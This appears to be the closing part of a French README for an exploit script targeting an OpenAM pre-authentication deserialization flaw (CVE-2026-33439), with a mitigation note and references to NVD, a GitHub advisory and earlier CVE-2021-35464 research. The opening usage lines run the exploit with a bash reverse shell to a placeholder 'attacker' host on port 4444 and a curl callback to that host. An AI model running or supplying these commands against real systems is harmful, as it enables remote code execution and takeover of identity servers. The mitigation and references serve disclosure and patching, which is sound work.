python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080



🛡️ Atténuation

  • Correctif : Mettez à niveau vers OpenAM 16.0.6 ou une version ultérieure. Le correctif étend WhitelistObjectInputStream à ClientSession.deserializeAttributes(), en cohérence avec la protection déjà appliquée à ConsoleViewBeanBase.deserializePageAttributes() après CVE-2021-35464.



📚 Références

  • CVE-2026-33439 - NVD

Entrée de la National Vulnerability Database pour CVE-2026-33439.

  • Avis de sécurité GitHub GHSA-2cqq-rpvq-g5qj

Avis officiel avec analyse de la cause racine, code affecté et détails de la chaîne de gadgets.

  • CVE-2021-35464 - RCE pré-authentification ForgeRock AM

La vulnérabilité ancestrale qui a introduit WhitelistObjectInputStream pour jato.pageSession.

  • RCE pré-authentification dans ForgeRock OpenAM - Recherche PortSwigger

Recherche originale sur CVE-2021-35464 couvrant le mécanisme de désérialisation JATO.

  • CWE-502 - Désérialisation de données non fiables

Entrée MITRE CWE décrivant la classe de vulnérabilité.